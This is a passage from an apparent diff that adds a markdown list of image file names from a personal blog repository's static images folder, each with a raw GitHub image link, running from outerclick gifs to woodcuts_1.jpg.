+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/outerclick-with-keyboard.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/outerclick-with-keyboard.gif?raw=true)
+
+> outerclick-with-mouse.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/outerclick-with-mouse.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/outerclick-with-mouse.gif?raw=true)
+
+> perf-dom.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-dom.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-dom.png?raw=true)
+
+> perf-exclusive.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-exclusive.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-exclusive.png?raw=true)
+
+> perf-inclusive.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-inclusive.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-inclusive.png?raw=true)
+
+> perf-wasted.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-wasted.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/perf-wasted.png?raw=true)
+
+> php.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/php.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/php.jpg?raw=true)
+
+> pleasant-birch.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pleasant-birch.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pleasant-birch.png?raw=true)
+
+> pojoaque.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pojoaque.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pojoaque.jpg?raw=true)
+
+> portfolio-cover.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/portfolio-cover.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/portfolio-cover.png?raw=true)
+
+> portfolio.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/portfolio.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/portfolio.gif?raw=true)
+
+> portfolio.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/portfolio.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/portfolio.jpg?raw=true)
+
+> postman.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/postman.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/postman.png?raw=true)
+
+> posts.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/posts.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/posts.png?raw=true)
+
+> potluck-planner.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/potluck-planner.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/potluck-planner.jpg?raw=true)
+
+> printing-press.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/printing-press.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/printing-press.jpg?raw=true)
+
+> profile.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/profile.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/profile.png?raw=true)
+
+> programmable-search-engine.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/programmable-search-engine.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/programmable-search-engine.png?raw=true)
+
+> projects.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/projects.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/projects.jpeg?raw=true)
+
+> projects.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/projects.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/projects.jpg?raw=true)
+
+> psql-diagram.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-diagram.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-diagram.jpg?raw=true)
+
+> psql-postgres.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-postgres.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-postgres.png?raw=true)
+
+> psql-schema.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-schema.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-schema.jpg?raw=true)
+
+> psql.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql.jpg?raw=true)
+
+> pug.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pug.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pug.png?raw=true)
+
+> pull-request-blog.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pull-request-blog.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pull-request-blog.png?raw=true)
+
+> pull-request.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pull-request.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pull-request.jpg?raw=true)
+
+> puppetter.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/puppetter.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/puppetter.png?raw=true)
+
+> pure-data.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pure-data.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/pure-data.png?raw=true)
+
+> py.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/py.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/py.jpg?raw=true)
+
+> python-language.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python-language.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python-language.jpg?raw=true)
+
+> python-logo-simple.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python-logo-simple.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python-logo-simple.png?raw=true)
+
+> python.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python.jpg?raw=true)
+
+> python.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python.png?raw=true)
+
+> python1-00990432.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python1-00990432.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python1-00990432.jpg?raw=true)
+
+> python2-15e88a3a.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python2-15e88a3a.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python2-15e88a3a.jpg?raw=true)
+
+> python2.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python2.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python2.jpg?raw=true)
+
+> python3-15e88a3a.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python3-15e88a3a.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/python3-15e88a3a.jpg?raw=true)
+
+> react%20(1).png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react%20(1).png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react%20(1).png?raw=true)
+
+> react-banner.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-banner.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-banner.jpg?raw=true)
+
+> react-dark.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-dark.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-dark.jpg?raw=true)
+
+> react-devtools-state.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-devtools-state.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-devtools-state.gif?raw=true)
+
+> react-fancy-logo.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-fancy-logo.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react-fancy-logo.jpg?raw=true)
+
+> react.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react.gif?raw=true)
+
+> react.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react.jpg?raw=true)
+
+> react.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react.png?raw=true)
+
+> recording-studio.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/recording-studio.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/recording-studio.jpg?raw=true)
+
+> recursive-settimeout.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/recursive-settimeout.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/recursive-settimeout.png?raw=true)
+
+> redis.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/redis.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/redis.png?raw=true)
+
+> redu-squarex.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/redu-squarex.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/redu-squarex.jpg?raw=true)
+
+> redux.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/redux.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/redux.gif?raw=true)
+
+> resume-bg.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/resume-bg.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/resume-bg.png?raw=true)
+
+> resume.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/resume.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/resume.jpg?raw=true)
+
+> royal-kangaroo.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/royal-kangaroo.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/royal-kangaroo.jpg?raw=true)
+
+> ruby.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ruby.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ruby.png?raw=true)
+
+> sass.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sass.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sass.png?raw=true)
+
+> scala.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/scala.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/scala.png?raw=true)
+
+> school-book.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/school-book.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/school-book.1.png?raw=true)
+
+> school-book.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/school-book.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/school-book.png?raw=true)
+
+> scope-closure.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/scope-closure.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/scope-closure.jpg?raw=true)
+
+> screenshots.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/screenshots.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/screenshots.png?raw=true)
+
+> selenium.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/selenium.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/selenium.jpg?raw=true)
+
+> senic.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/senic.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/senic.png?raw=true)
+
+> sequelize.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sequelize.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sequelize.png?raw=true)
+
+> setinterval-ok.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-ok.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-ok.png?raw=true)
+
+> setinterval-overlapping.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-overlapping.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-overlapping.1.png?raw=true)
+
+> setinterval-overlapping.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-overlapping.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-overlapping.png?raw=true)
+
+> setinterval-varying-duration.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-varying-duration.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/setinterval-varying-duration.png?raw=true)
+
+> shopify.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/shopify.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/shopify.png?raw=true)
+
+> should-component-update.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/should-component-update.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/should-component-update.png?raw=true)
+
+> showcase.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/showcase.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/showcase.1.png?raw=true)
+
+> showcase.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/showcase.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/showcase.png?raw=true)
+
+> sine-wav-bak%20(1).gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sine-wav-bak%20(1).gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sine-wav-bak%20(1).gif?raw=true)
+
+> skype.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/skype.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/skype.png?raw=true)
+
+> slack.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/slack.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/slack.jpg?raw=true)
+
+> sourcetree.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sourcetree.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sourcetree.png?raw=true)
+
+> sql_server.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sql_server.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sql_server.png?raw=true)
+
+> sqlite.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sqlite.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sqlite.jpg?raw=true)
+
+> static-server.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/static-server.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/static-server.1.png?raw=true)
+
+> static-server.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/static-server.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/static-server.png?raw=true)
+
+> sublime.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sublime.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/sublime.jpg?raw=true)
+
+> superb-panda.PNG
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/superb-panda.PNG?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/superb-panda.PNG?raw=true)
+
+> swift.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/swift.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/swift.png?raw=true)
+
+> tetris.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tetris.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tetris.png?raw=true)
+
+> tex.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tex.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tex.png?raw=true)
+
+> textools.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/textools.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/textools.png?raw=true)
+
+> theme.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/theme.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/theme.1.png?raw=true)
+
+> theme.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/theme.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/theme.png?raw=true)
+
+> thinking-in-react-tagtree.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/thinking-in-react-tagtree.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/thinking-in-react-tagtree.png?raw=true)
+
+> thoughtful-neptune.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/thoughtful-neptune.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/thoughtful-neptune.png?raw=true)
+
+> tomcat.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tomcat.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tomcat.png?raw=true)
+
+> tools.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tools.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tools.1.png?raw=true)
+
+> tools.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tools.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/tools.png?raw=true)
+
+> top-half-mihir.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/top-half-mihir.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/top-half-mihir.png?raw=true)
+
+> travis.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/travis.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/travis.png?raw=true)
+
+> ts.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ts.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ts.jpg?raw=true)
+
+> ubuntu.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ubuntu.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ubuntu.jpg?raw=true)
+
+> updated-packages.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/updated-packages.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/updated-packages.1.png?raw=true)
+
+> updated-packages.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/updated-packages.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/updated-packages.png?raw=true)
+
+> usage.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/usage.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/usage.png?raw=true)
+
+> using-the-dom.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/using-the-dom.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/using-the-dom.png?raw=true)
+
+> version-control.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/version-control.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/version-control.png?raw=true)
+
+> vim_logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vim_logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vim_logo.png?raw=true)
+
+> violet-pluto.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/violet-pluto.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/violet-pluto.png?raw=true)
+
+> virtual-box.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/virtual-box.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/virtual-box.png?raw=true)
+
+> visual-studio.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/visual-studio.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/visual-studio.png?raw=true)
+
+> vscode-extensions-list.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode-extensions-list.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode-extensions-list.png?raw=true)
+
+> vscode.1.webp
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode.1.webp?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode.1.webp?raw=true)
+
+> vscode.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode.png?raw=true)
+
+> vscode.webp
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode.webp?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/vscode.webp?raw=true)
+
+> web-dev-back.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/web-dev-back.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/web-dev-back.jpg?raw=true)
+
+> web-development.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/web-development.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/web-development.gif?raw=true)
+
+> webdev.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webdev.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webdev.png?raw=true)
+
+> webpack.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webpack.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webpack.png?raw=true)
+
+> webscraping.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webscraping.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webscraping.1.png?raw=true)
+
+> webscraping.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webscraping.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/webscraping.png?raw=true)
+
+> windows.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/windows.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/windows.png?raw=true)
+
+> woodcuts_1.jpg
+
